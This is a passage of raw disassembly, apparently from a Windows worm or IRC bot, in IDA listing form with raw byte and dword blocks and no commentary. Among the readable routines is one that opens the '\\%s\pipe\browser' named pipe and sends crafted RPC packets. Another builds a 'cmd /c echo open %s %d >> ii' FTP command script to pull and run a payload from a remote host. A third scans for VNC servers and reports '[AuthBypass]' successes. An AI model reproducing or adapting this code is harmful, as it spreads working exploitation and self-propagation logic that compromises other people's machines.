38h ; 8 db 0FFh db 0FFh db 0FFh db 0B8h ; ¸ db 8 db 0D8h ; Ø db 43h ; C db 0 db 53h ; S db 50h ; P db 50h ; P db 8Dh ; db 85h ; … db 24h ; $ db 0FFh db 0FFh db 0FFh db 50h ; P db 0E8h ; è db 43h ; C db 8Dh ; db 1 db 0 ; --------------------------------------------------------------------------- jmp short loc_40DA14 ; --------------------------------------------------------------------------- db 0BEh ; ¾ db 0 db 20h db 0 db 0 ; --------------------------------------------------------------------------- loc_40DA14: ; CODE XREF: ___:0040DA0Dj push dword ptr [ebp+8] lea eax, [ebp-40DCh] push offset aSPipeBrowser ; "\\\\%s\\pipe\\browser" push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp-40DCh] push ebx push 40000000h push 3 push ebx push 3 push 0C0000000h push eax nop call near ptr 27009D7h cmp eax, 0FFFFFFFFh mov [ebp-4], eax jnz short loc_40DA58 loc_40DA51: ; CODE XREF: ___:0040DB30j ; ___:0040DD06j ... xor al, al jmp loc_40DE9C ; --------------------------------------------------------------------------- loc_40DA58: ; CODE XREF: ___:0040DA4Fj push 48h lea eax, [ebp-0B8h] push ebx push eax call sub_41B590 push 10h mov byte ptr [ebp-0B8h], 5 pop eax mov [ebp-0B7h], bl push 1 mov [ebp-0B4h], eax pop edi mov byte ptr [ebp-0B6h], 0Bh push eax lea eax, [ebp-98h] push offset dword_432914 push eax mov byte ptr [ebp-0B5h], 3 mov word ptr [ebp-0B0h], 48h mov [ebp-0AEh], bx mov [ebp-0ACh], ebx mov word ptr [ebp-0A8h], 10B8h mov word ptr [ebp-0A6h], 10B8h mov [ebp-0A4h], ebx mov [ebp-0A0h], edi mov [ebp-9Ch], bx mov byte ptr [ebp-9Ah], 1 call sub_41C310 push 10h lea eax, [ebp-84h] push offset dword_432900 push eax mov dword ptr [ebp-88h], 3 call sub_41C310 add esp, 24h lea eax, [ebp-0BCh] mov dword ptr [ebp-74h], 2 push ebx push eax lea eax, [ebp-0B8h] push 48h push eax push dword ptr [ebp-4] nop call near ptr 26F0000h test eax, eax jnz short loc_40DB35 loc_40DB27: ; CODE XREF: ___:0040DC01j push dword ptr [ebp-4] call near ptr 2660919h nop jmp loc_40DA51 ; --------------------------------------------------------------------------- loc_40DB35: ; CODE XREF: ___:0040DB25j lea eax, [ebp-14h] push ebx push eax lea eax, [ebp-60DCh] push esi push eax push dword ptr [ebp-4] nop call near ptr 2700000h push ebx call sub_41D081 push eax call sub_41B8D8 push 14h lea eax, [ebp-70h] push 41h push eax call sub_41B590 push 1Ch lea eax, [ebp-30h] push 41h push eax call sub_41B590 add esp, 20h call sub_41B8E2 mov esi, [ebp+0Ch] mov [ebp-70h], eax mov [ebp-64h], edi mov [ebp-68h], ebx lea esi, [esi+esi*4] mov [ebp-6Ch], edi shl esi, 2 mov [ebp-60h], bx cmp byte_4328A8[esi], bl jz short loc_40DBAC push 4 mov [ebp-24h], edi mov [ebp-28h], ebx mov [ebp-2Ch], edi push offset dword_4CE37C jmp short loc_40DBBF ; --------------------------------------------------------------------------- loc_40DBAC: ; CODE XREF: ___:0040DB98j push 2 mov [ebp-28h], ebx pop eax push 4 mov [ebp-24h], eax mov [ebp-2Ch], eax push (offset loc_4328F7+1) loc_40DBBF: ; CODE XREF: ___:0040DBAAj lea eax, [ebp-20h] push eax call sub_41C310 add esp, 0Ch call sub_41B8E2 mov edi, 0FAh cdq mov ecx, edi idiv ecx inc edx mov [ebp-30h], edx call sub_41B8E2 cdq idiv edi mov eax, dword_43289C[esi] mov [ebp-18h], ebx push eax mov [ebp+8], eax inc edx mov [ebp-1Ch], edx call sub_41B4D5 mov edi, eax pop ecx cmp edi, ebx jz loc_40DB27 mov eax, [ebp+8] add eax, 0FFFFFFFEh push eax push 90h push edi call sub_41B590 mov eax, [ebp+8] push 2 push ebx lea eax, [edi+eax-2] push eax call sub_41B590 mov eax, dword_4328A4[esi] push 7 add eax, edi push offset dword_432890 push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 15Ch add eax, 7 push offset dword_432730 push eax call sub_41C310 mov eax, dword_4328A0[esi] add esp, 30h cmp byte_4328A8[esi], bl mov [ebp+0Ch], eax jz short loc_40DCB8 push 4 add eax, edi push offset dword_4CE374 push eax call sub_41C310 add dword ptr [ebp+0Ch], 0Ch mov esi, offset dword_4328C0 mov eax, [ebp+0Ch] push 4 add eax, edi push esi push eax call sub_41C310 mov eax, [ebp+0Ch] push 4 push esi lea eax, [eax+edi+24h] push eax mov [ebp+0Ch], eax call sub_41C310 mov eax, [ebp+0Ch] push 4 add eax, 0Ch push esi push eax call sub_41C310 add esp, 30h jmp short loc_40DCE0 ; --------------------------------------------------------------------------- loc_40DCB8: ; CODE XREF: ___:0040DC69j add eax, edi mov dword ptr [ebp-8], 10h mov [ebp+0Ch], eax mov esi, offset dword_4328C0 loc_40DCC9: ; CODE XREF: ___:0040DCDEj push 4 push esi push dword ptr [ebp+0Ch] call sub_41C310 add dword ptr [ebp+0Ch], 4 add esp, 0Ch dec dword ptr [ebp-8] jnz short loc_40DCC9 loc_40DCE0: ; CODE XREF: ___:0040DCB6j mov eax, [ebp+8] add eax, 42h push eax call sub_41B4D5 mov esi, eax pop ecx cmp esi, ebx mov [ebp-8], esi jnz short loc_40DD0B push dword ptr [ebp-4] call near ptr 2660919h nop push edi call sub_41B0B1 pop ecx jmp loc_40DA51 ; --------------------------------------------------------------------------- loc_40DD0B: ; CODE XREF: ___:0040DCF4j mov eax, [ebp+8] add eax, 42h push eax push ebx push esi call sub_41B590 lea eax, [ebp-70h] push 14h push eax push esi call sub_41C310 mov eax, [ebp+8] mov [ebp-0Ch], ebx mov [ebp-10h], eax add esp, 10h fild qword ptr [ebp-10h] fmul flt_4276A4 fstp qword ptr [esp] call sub_41C7BF call sub_41C798 push dword ptr [ebp+8] mov [esi+1Ch], eax mov [esi+18h], ebx mov eax, [esi+1Ch] mov [esi+14h], eax lea eax, [esi+20h] push edi push eax call sub_41C310 mov eax, [ebp+8] add esp, 14h add eax, 20h test al, 3 mov [ebp+0Ch], eax jz short loc_40DD78 loc_40DD70: ; CODE XREF: ___:0040DD73j inc eax test al, 3 jnz short loc_40DD70 mov [ebp+0Ch], eax loc_40DD78: ; CODE XREF: ___:0040DD6Ej lea ecx, [ebp-30h] push 1Ch add eax, esi push ecx push eax call sub_41C310 add dword ptr [ebp+0Ch], 1Ch push edi call sub_41B0B1 push 18h lea eax, [ebp-48h] push ebx push eax call sub_41B590 push 14h lea eax, [ebp-5Ch] push ebx push eax mov byte ptr [ebp-48h], 5 mov [ebp-47h], bl mov [ebp-46h], bl mov byte ptr [ebp-45h], 3 mov dword ptr [ebp-44h], 10h mov [ebp-3Eh], bx mov [ebp-3Ch], ebx mov [ebp-34h], bx mov word ptr [ebp-32h], 1Fh call sub_41B590 add esp, 28h push ebx push ebx push 1 push ebx nop call near ptr 26F08ADh mov [ebp-4Ch], eax mov [ebp+0Bh], bl mov [ebp-0Ch], ebx loc_40DDE5: ; CODE XREF: ___:0040DE6Fj cmp dword ptr [ebp-0Ch], 2 jge loc_40DE7A push 1 push 10B8h push dword ptr [ebp+0Ch] inc dword ptr [ebp-0Ch] push esi lea esi, [ebp-48h] sub esp, 18h push 6 pop ecx mov edi, esp push dword ptr [ebp-4] rep movsd call sub_40D8AE add esp, 2Ch test al, al jz short loc_40DE77 cmp [ebp-4Ch], ebx jz short loc_40DE69 lea eax, [ebp-5Ch] push eax lea eax, [ebp-14h] push eax lea eax, [ebp-60DCh] push 2000h push eax push dword ptr [ebp-4] nop call near ptr 2700000h test eax, eax jnz short loc_40DE50 nop call near ptr 2680ABEh cmp eax, 3E5h jnz loc_40DA51 loc_40DE50: ; CODE XREF: ___:0040DE3Dj push 3E8h push dword ptr [ebp-4Ch] nop call near ptr 2690295h cmp eax, 102h jnz short loc_40DE69 mov byte ptr [ebp+0Bh], 1 loc_40DE69: ; CODE XREF: ___:0040DE1Cj ; ___:0040DE63j cmp [ebp+0Bh], bl mov esi, [ebp-8] jz loc_40DDE5 jmp short loc_40DE7A ; --------------------------------------------------------------------------- loc_40DE77: ; CODE XREF: ___:0040DE17j mov esi, [ebp-8] loc_40DE7A: ; CODE XREF: ___:0040DDE9j ; ___:0040DE75j push dword ptr [ebp-4] mov edi, dword_427068 call edi push esi call sub_41B0B1 cmp [ebp-4Ch], ebx pop ecx jz short loc_40DE96 push dword ptr [ebp-4Ch] call edi loc_40DE96: ; CODE XREF: ___:0040DE8Fj cmp [ebp+0Bh], bl setnz al loc_40DE9C: ; CODE XREF: ___:0040DA53j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- db 55h ; U db 8Bh ; ‹ db 0ECh ; ì db 81h ; db 0ECh ; ì db 0A0h ; db 5 db 0 db 0 db 53h ; S db 56h ; V db 57h ; W db 33h ; 3 db 0F6h ; ö db 6Ah ; j db 10h db 8Dh ; db 45h ; E db 0F0h ; ð db 56h ; V db 50h ; P db 0E8h ; è db 0D5h ; Õ db 0D6h ; Ö db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 0Ch db 8Dh ; db 45h ; E db 0Ch db 66h ; f db 0C7h ; Ç db 45h ; E db 0F0h ; ð db 2 db 0 db 50h ; P db 90h ; db 0E8h ; è db 2Ah ; * db 34h ; 4 db 6Ah ; j db 71h ; q db 0FFh db 0B5h ; µ db 0C4h ; Ä db 0 db 0 db 0 db 89h ; ‰ db 45h ; E db 0F4h ; ô db 90h ; db 0E8h ; è db 69h ; i db 38h ; 8 db 6Ah ; j db 71h ; q db 56h ; V db 6Ah ; j db 1 db 6Ah ; j db 2 db 66h ; f db 89h ; ‰ db 45h ; E db 0F2h ; ò db 90h ; db 0E8h ; è db 36h ; 6 db 5Dh ; ] db 6Ah ; j db 71h ; q db 8Bh ; ‹ db 0D8h ; Ø db 83h ; ƒ db 0FBh ; û db 0FFh db 74h ; t db 7Ch ; | db 8Dh ; db 45h ; E db 0F0h ; ð db 6Ah ; j db 10h db 50h ; P db 53h ; S db 0E8h ; è db 5Eh ; ^ db 5Fh ; _ db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 74h ; t db 6Ah ; j db 0BFh ; ¿ db 0 db 4 db 0 db 0 db 56h ; V db 8Bh ; ‹ db 35h ; 5 db 18h db 72h ; r db 42h ; B db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 0B8h ; ¸ db 0Ch db 91h ; ‘ db 42h ; B db 0 db 50h ; P db 50h ; P db 0FFh db 35h ; 5 db 90h ; db 0B3h ; ³ db 4Ch ; L db 0 db 0FFh db 75h ; u db 8 db 0E8h ; è db 0DFh ; ß db 0CCh ; Ì db 0FFh db 0FFh db 59h ; Y db 50h ; P db 68h ; h db 48h ; H db 29h ; ) db 43h ; C db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 68h ; h db 90h ; db 1 db 0 db 0 db 50h ; P db 0E8h ; è db 37h ; 7 db 0DAh ; Ú db 0 db 0 db 83h ; ƒ db 0C4h ; Ä db 1Ch db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 6Ah ; j db 0 db 50h ; P db 0E8h ; è db 86h ; † db 0D0h ; Ð db 0 db 0 db 59h ; Y db 50h ; P db 8Dh ; db 85h ; … db 60h ; ` db 0FEh ; þ db 0FFh db 0FFh db 50h ; P db 53h ; S db 0E8h ; è db 8Bh ; ‹ db 3Bh ; ; db 6Ah ; j db 71h ; q db 90h ; db 83h ; ƒ db 0F8h ; ø db 0FFh db 75h ; u db 4 db 33h ; 3 db 0C0h ; À db 0EBh ; ë db 17h db 6Ah ; j db 0 db 8Dh ; db 85h ; … db 60h ; ` db 0FAh ; ú db 0FFh db 0FFh db 57h ; W db 50h ; P db 53h ; S db 0FFh db 0D6h ; Ö db 53h ; S db 0E8h ; è db 0E7h ; ç db 3Ah ; : db 6Ah ; j db 71h ; q db 90h ; db 6Ah ; j db 1 db 58h ; X db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 0C9h ; É db 0C3h ; Ã db 53h dd 0DB335756h, 1424448Dh, 0FDE85053h, 59FFFFF9h, 7459C084h dd 8D656A22h, 81142474h, 0BCECh, 592F6A00h, 0A5F3FC8Bh dd 0FFFEE4E8h, 0C0C481FFh, 85000000h, 851575C0h, 680B75DBh dd 7D0h, 27202BE8h, 83439002h, 0B87202FBh, 5F58016Ah ; --------------------------------------------------------------------------- pop esi pop ebx retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40DFE3 proc near ; CODE XREF: sub_40E0D1+91p var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax nop call near ptr 71AB12F8h push [ebp+arg_BC] mov [ebp+var_C], eax nop call near ptr 71AB1746h push esi push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40E0B1 lea eax, [ebp+var_10] push 10h push eax push ebx nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jz short loc_40E0B1 mov edi, 400h push esi mov esi, dword_427218 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv mov eax, offset byte_42910C push eax push eax push dword_4CB390 push [ebp+arg_0] call sub_40AC10 pop ecx push eax push offset aCmdCEchoOpen_0 ; "cmd /c echo open %s %d >> ii &echo user"... lea eax, [ebp+var_1A0] push 190h push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx nop call near ptr 71AB1AF4h cmp eax, 0FFFFFFFFh jnz short loc_40E0B5 loc_40E0B1: ; CODE XREF: sub_40DFE3+50j ; sub_40DFE3+62j xor eax, eax jmp short loc_40E0CC ; --------------------------------------------------------------------------- loc_40E0B5: ; CODE XREF: sub_40DFE3+CCj push 0 lea eax, [ebp+var_5A0] push edi push eax push ebx call esi ; recv push ebx nop call near ptr 71AB1A6Dh push 1 pop eax loc_40E0CC: ; CODE XREF: sub_40DFE3+D0j pop edi pop esi pop ebx leave retn sub_40DFE3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E0D1 proc near ; CODE XREF: sub_40C125+1EAp ; DATA XREF: ___:off_431B04o var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp sub esp, 10h push esi lea eax, [ebp+arg_4] push edi push eax mov [ebp+var_10], 2 call dword_4CB694 push [ebp+arg_A0] mov [ebp+var_C], eax call dword_4CB654 push 6 push 1 push 2 mov [ebp+var_E], ax nop call near ptr 71AB3C22h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E143 lea eax, [ebp+var_10] push 10h push eax push esi call near ptr 71AB3E5Dh nop cmp eax, 0FFFFFFFFh jnz short loc_40E124 push esi jmp short loc_40E13D ; --------------------------------------------------------------------------- loc_40E124: ; CODE XREF: sub_40E0D1+4Ej push 0 push 1213h push offset dword_4329BC push esi call near ptr 71AB1AF4h nop cmp eax, 0FFFFFFFFh push esi jnz short loc_40E147 loc_40E13D: ; CODE XREF: sub_40E0D1+51j call near ptr 71AB1A6Dh nop loc_40E143: ; CODE XREF: sub_40E0D1+3Cj xor eax, eax jmp short loc_40E189 ; --------------------------------------------------------------------------- loc_40E147: ; CODE XREF: sub_40E0D1+6Aj call near ptr 71AB1A6Dh nop push 216Bh lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40DFE3 add esp, 0C0h test eax, eax jz short loc_40E186 mov eax, [ebp+arg_A8] shl eax, 6 inc dword_431B08[eax] lea eax, dword_431B08[eax] loc_40E186: ; CODE XREF: sub_40E0D1+9Ej push 1 pop eax loc_40E189: ; CODE XREF: sub_40E0D1+74j pop edi pop esi leave retn sub_40E0D1 endp ; =============== S U B R O U T I N E ======================================= sub_40E18D proc near ; CODE XREF: ___:0040E27Bp ; ___:0040E2DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] xor esi, esi loc_40E195: ; CODE XREF: sub_40E18D+2Dj test edi, edi jle short loc_40E1C0 mov eax, [esp+8+arg_4] push 0 add eax, esi push edi push eax push [esp+14h+arg_0] call dword_4CB66C test eax, eax jz short loc_40E1BC cmp eax, 0FFFFFFFFh jz short loc_40E1BC sub edi, eax add esi, eax jmp short loc_40E195 ; --------------------------------------------------------------------------- loc_40E1BC: ; CODE XREF: sub_40E18D+22j ; sub_40E18D+27j xor eax, eax jmp short loc_40E1C3 ; --------------------------------------------------------------------------- loc_40E1C0: ; CODE XREF: sub_40E18D+Aj push 1 pop eax loc_40E1C3: ; CODE XREF: sub_40E18D+31j pop edi pop esi retn sub_40E18D endp ; =============== S U B R O U T I N E ======================================= sub_40E1C6 proc near ; CODE XREF: ___:0040E2C7p ; ___:0040E2F4p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi push edi mov edi, [esp+8+arg_8] test edi, edi jz short loc_40E203 xor esi, esi test edi, edi jle short loc_40E1FD loc_40E1D6: ; CODE XREF: sub_40E1C6+35j mov eax, edi push 0 sub eax, esi push eax mov eax, [esp+10h+arg_4] add eax, esi push eax push [esp+14h+arg_0] call dword_4CB6A4 cmp eax, 0FFFFFFFFh jz short loc_40E203 test eax, eax jz short loc_40E203 add esi, eax cmp esi, edi jl short loc_40E1D6 loc_40E1FD: ; CODE XREF: sub_40E1C6+Ej push 1 pop eax loc_40E200: ; CODE XREF: sub_40E1C6+3Fj pop edi pop esi retn ; --------------------------------------------------------------------------- loc_40E203: ; CODE XREF: sub_40E1C6+8j ; sub_40E1C6+2Bj ... xor eax, eax jmp short loc_40E200 sub_40E1C6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 24Ch push ebx mov ax, word_433C00 push esi push edi push 0 push 1 push 2 mov [ebp-2], ax pop esi push esi call dword_4CB6D4 mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_40E235 push eax jmp short loc_40E269 ; --------------------------------------------------------------------------- loc_40E235: ; CODE XREF: ___:0040E230j lea eax, [ebp+0Ch] push eax call dword_4CB694 push dword ptr [ebp+0A8h] mov [ebp-48h], eax mov [ebp-4Ch], si call dword_4CB654 mov [ebp-4Ah], ax lea eax, [ebp-4Ch] push 10h push eax push ebx call dword_4CB5FC cmp eax, 0FFFFFFFFh jnz short loc_40E274 push ebx loc_40E269: ; CODE XREF: ___:0040E233j call dword_4CB6EC jmp loc_40E46F ; --------------------------------------------------------------------------- loc_40E274: ; CODE XREF: ___:0040E266j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-20h] and byte ptr [ebp-2Ch], 0 push eax lea eax, [ebp-28h] push eax lea eax, [ebp-38h] push offset aRfb03d_03d ; "RFB %03d.%03d\n" push eax call sub_41C645 add esp, 10h cmp eax, esi jnz loc_40E468 cmp dword ptr [ebp-28h], 3 jz short loc_40E2C0 cmp dword ptr [ebp-20h], 8 jnz loc_40E468 loc_40E2C0: ; CODE XREF: ___:0040E2B4j lea eax, [ebp-38h] push 0Ch push eax push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-3Ch] push esi push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-2] push 1 push eax push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-24h] push 4 push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 mov eax, [ebp-24h] mov edi, 0FF0000h mov ecx, eax mov edx, eax and ecx, edi mov esi, 0FF00h shr edx, 10h or ecx, edx mov edx, eax shl edx, 10h and eax, esi or edx, eax shr ecx, 8 shl edx, 8 or ecx, edx mov [ebp-24h], ecx jnz loc_40E468 push 1 push offset dword_4CB50C push ebx call sub_40E1C6 add esp, 0Ch test eax, eax jz loc_40E468 lea eax, [ebp-1Ch] push 18h push eax push ebx call sub_40E18D add esp, 0Ch test eax, eax jz loc_40E468 xor eax, eax mov ecx, [ebp-8] mov al, [ebp-1Bh] mov edx, ecx mov ah, [ebp-1Ch] mov [ebp-1Ch], ax xor eax, eax mov al, [ebp-19h] mov ah, [ebp-1Ah] mov [ebp-1Ah], ax xor eax, eax mov al, [ebp-13h] mov ah, [ebp-14h] mov [ebp-14h], ax xor eax, eax mov al, [ebp-11h] mov ah, [ebp-12h] mov [ebp-12h], ax xor eax, eax mov al, [ebp-0Fh] mov ah, [ebp-10h] mov [ebp-10h], ax mov eax, ecx and eax, edi shr edx, 10h or eax, edx mov edx, ecx shl edx, 10h and ecx, esi or edx, ecx shr eax, 8 shl edx, 8 or eax, edx mov [ebp-8], eax add eax, 2 push eax call sub_41CFC5 mov edi, [ebp-8] pop ecx test edi, edi mov esi, eax jle short loc_40E3F8 push edi push esi push ebx call sub_40E18D add esp, 0Ch loc_40E3F8: ; CODE XREF: ___:0040E3EBj and byte ptr [edi+esi], 0 lea eax, [ebp+0Ch] push eax push esi push dword ptr [ebp-20h] lea eax, [ebp-24Ch] push dword ptr [ebp-28h] push offset aVncD_DSSAuthby ; "VNC%d.%d %s: %s - [AuthBypass]" push 200h push eax call sub_41B980 push 0 lea eax, [ebp-24Ch] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409A73 lea eax, [ebp-24Ch] push eax call sub_4151AD mov eax, [ebp+0B0h] add esp, 34h shl eax, 6 inc dword_431B08[eax] push ebx lea eax, dword_431B08[eax] nop call near ptr 71AB1A6Dh push 1 pop eax jmp short loc_40E471 ; --------------------------------------------------------------------------- loc_40E468: ; CODE XREF: ___:0040E285j ; ___:0040E2AAj ... push ebx nop call near ptr 71AB1A6Dh loc_40E46F: ; CODE XREF: ___:0040E26Fj xor eax, eax loc_40E471: ; CODE XREF: ___:0040E466j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E47F: ; CODE XREF: ___:0040E49Bj ; ___:0040E4B7j push 0 lea eax, [ebp-404h] push 400h push eax push dword_4CE394 call dword_4CB66C test eax, eax jle short loc_40E47F lea ecx, [ebp-4] push 0 push ecx push eax lea eax, [ebp-404h] push eax push dword_4CE390 nop call near ptr 26F0000h jmp short loc_40E47F ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 404h loc_40E4C2: ; CODE XREF: ___:0040E4E8j ; ___:0040E502j lea eax, [ebp-4] and dword ptr [ebp-4], 0 push 0 push eax lea eax, [ebp-404h] push 400h push eax push dword_4CE384 nop call near ptr 2700000h cmp dword ptr [ebp-4], 0 jle short loc_40E4C2 push 0 lea eax, [ebp-404h] push dword ptr [ebp-4] push eax push dword_4CE394 call dword_4CB6A4 jmp short loc_40E4C2 ; --------------------------------------------------------------------------- dword_40E504 dd 81EC8B55h, 11CECh, 8458B00h, 6A575653h, 59F08B28h, 0FEE4BD8Dh ; DATA XREF: sub_401ACD+2D0Eo dd 0A5F3FFFFh, 0FF33016Ah, 98B0895Eh, 6A000000h, 0C8458D10h dd 59E85057h, 830000D0h, 0C7660CC4h, 2C845h, 0FF68B5FFh dd 15FFFFFFh, 4CB654h, 6A56066Ah, 45896602h, 0D415FFCAh dd 89004CB6h, 458D0845h, 50106AC8h, 0FF0875FFh, 4CB68015h dd 0FF056A00h, 15FF0875h, 4CB67Ch, 70FC1D8Bh, 358B0042h dd 427068h, 75FF5757h, 0E815FF08h, 0A3004CB6h, 4CE394h dd 57F4458Dh, 0E3906850h, 8C68004Ch, 0C7004CE3h, 0CF445h dd 45C70000h, 1FCh, 0F87D8900h, 458DD3FFh, 685057F4h, 4CE388h dd 4CE38468h, 6AD3FF00h, 84458D44h, 0BDE85057h, 0A10000CFh dd 4CE38Ch, 890CC483h, 88A1BC45h, 89004CE3h, 6A57C045h dd 0C4458D01h, 0C750026Ah, 448445h, 45C70000h, 101B0h dd 7D896600h, 2069E8B4h, 50900230h, 0E38835FFh, 0E890004Ch dd 230205Bh, 0E5E89050h, 8D023019h, 8D50D845h, 57508445h dd 906857h, 458D0400h, 50016AF4h, 50F4458Dh, 433C0468h dd 0E8905700h, 22525FBh, 50E8458Dh, 0B9685757h, 8D0040E4h dd 5057F445h, 1A42E890h, 45890227h, 0E8458DECh, 68575750h dd 40E476h, 57F4458Dh, 1A2AE850h, 6A900227h, 0F04589FFh dd 0E8D875FFh, 2281C19h, 75FF5790h, 0D6E890F0h, 57022824h dd 90EC75FFh, 2824CCE8h, 0F075FF02h, 75FFD6FFh, 57D6FFECh dd 0E8D875FFh, 22F266Fh, 8C35FF90h, 0FF004CE3h, 9035FFD6h dd 0FF004CE3h, 8435FFD6h, 0FF004CE3h, 8835FFD6h, 0FF004CE3h dd 0DC75FFD6h, 75FFD6FFh, 0E9D6FFD8h, 0FFFFFEB0h, 0E9h dd 0FFFE6800h, 680000h, 0E8000004h, 9F9Dh, 0E39CA359h dd 0C359004Ch dword_40E6F0 dd 81EC8B55h, 6C0ECh, 8458B00h, 6A575653h, 59F08B27h, 0FF50BD8Dh ; DATA XREF: sub_40BACE+34Do dd 0A5F3FFFFh, 0DB33016Ah, 98B0895Eh, 6A000000h, 0EC458D10h dd 6DE85053h, 830000CEh, 0C7660CC4h, 2EC45h, 0FF5CB5FFh dd 15FFFFFFh, 4CB654h, 26A5653h, 0EE458966h, 0FFF05D89h dd 4CB6D415h, 83F88B00h, 0FE3BFFCEh, 5D394575h, 532075E4h dd 0FD40858Dh, 75FFFFFFh, 858D50E0h, 0FFFFFF60h, 50B5FF50h dd 0E8FFFFFFh, 0FFFFB2FFh, 8D14C483h, 0FFFD4085h, 2AE850FFh dd 0FF00006Ah, 0FFFF54B5h, 0CC85E8FFh, 5959FFFFh, 186AE853h dd 8B90022Dh, 0FFFF5485h, 69106AFFh, 234C0h, 9CB88900h dd 8D0043E5h, 5750EC45h, 0B68015FFh, 0C63B004Ch, 400BBh dd 0CF850F00h, 0FF000000h, 4CB5E815h, 27403D00h, 47740000h dd 7539F633h, 562075E4h, 0FD40858Dh, 75FFFFFFh, 858D50E0h dd 0FFFFFF60h, 50B5FF50h, 0E8FFFFFFh, 0FFFFB27Fh, 8D14C483h dd 0FFFD4085h, 0AAE850FFh, 0FF000069h, 0FFFF54B5h, 0CC05E8FFh dd 5959FFFFh, 0E9E89056h, 68022D17h, 0FFFEh, 9E63E853h dd 0A3590000h, 4CE39Ch, 45896659h, 0EC458DEEh, 5750106Ah dd 0B68015FFh, 0C63B004Ch, 15FF5475h, 4CB5E8h, 7539F633h dd 3D2775E4h, 2740h, 8D562074h, 0FFFD4085h, 0E075FFFFh dd 60858D50h, 50FFFFFFh, 0FF50B5FFh, 4E8FFFFh, 83FFFFB2h dd 858D14C4h, 0FFFFFD40h, 692FE850h, 0B5FF0000h, 0FFFFFF54h dd 0FFCB8AE8h, 565959FFh, 176EE890h, 56A022Dh, 7C15FF57h dd 3B004CB6h, 0D4840FC6h, 0C7000000h, 10FC45h, 0CBE0000h dd 8D004291h, 8D50FC45h, 0FFFF4085h, 0FF5750FFh, 4CB6E815h dd 0FFF88300h, 74084589h, 0E47D83E6h, 6A217500h, 40858D00h dd 0FFFFFFFDh, 8D50E075h, 0FFFF6085h, 0B5FF50FFh, 0FFFFFF50h dd 0FFB186E8h, 14C483FFh, 0FD40858Dh, 0E850FFFFh, 68B1h dd 40858D59h, 6AFFFFFDh, 2006800h, 0FF500000h, 15FF0875h dd 4CB66Ch, 74FFF883h, 0FF565696h, 4CB39035h, 50B5FF00h dd 0E8FFFFFFh, 0FFFFC2E4h, 0C685059h, 8D00433Ch, 0FFF94085h dd 0E85053FFh, 0D040h, 8D1CC483h, 0FFF94085h, 50006AFFh dd 0C68FE8h, 8D505900h, 0FFF94085h, 75FF50FFh, 0A415FF08h dd 83004CB6h, 840FFFF8h, 0FFFFFF43h, 0E3A405FFh, 38E9004Ch dd 57FFFFFFh, 0B6EC15FFh, 0B5FF004Ch, 0FFFFFF54h, 0FFCA8AE8h dd 6A59FFh, 166EE890h db 2Dh, 2 word_40E992 dw 8B55h ; DATA XREF: sub_40BACE+22Ao dword_40E994 dd 70EC81ECh, 8B00000Ah, 56530845h, 0B9016A57h, 0A9h, 0BD8DF08Bh dd 0FFFFF920h, 89A5F35Bh, 2A098h, 90858D00h, 33FFFFF5h dd 16850F6h, 89000001h, 5D89E45Dh, 0DC5D89D4h, 0FDD4B589h dd 0B589FFFFh, 0FFFFFBC4h, 6A57F9E8h, 53569071h, 0E890026Ah dd 716A5236h, 71F4358Bh, 4D8D0042h, 51046AE4h, 0FFFFBFh dd 57046A00h, 0F8458950h, 458DD6FFh, 50046AD4h, 8B57FB6Ah dd 0FF57F87Dh, 0DC458DD6h, 667E6850h, 90578004h, 6A2B35E8h dd 90A16671h, 83004CB3h, 5000B865h, 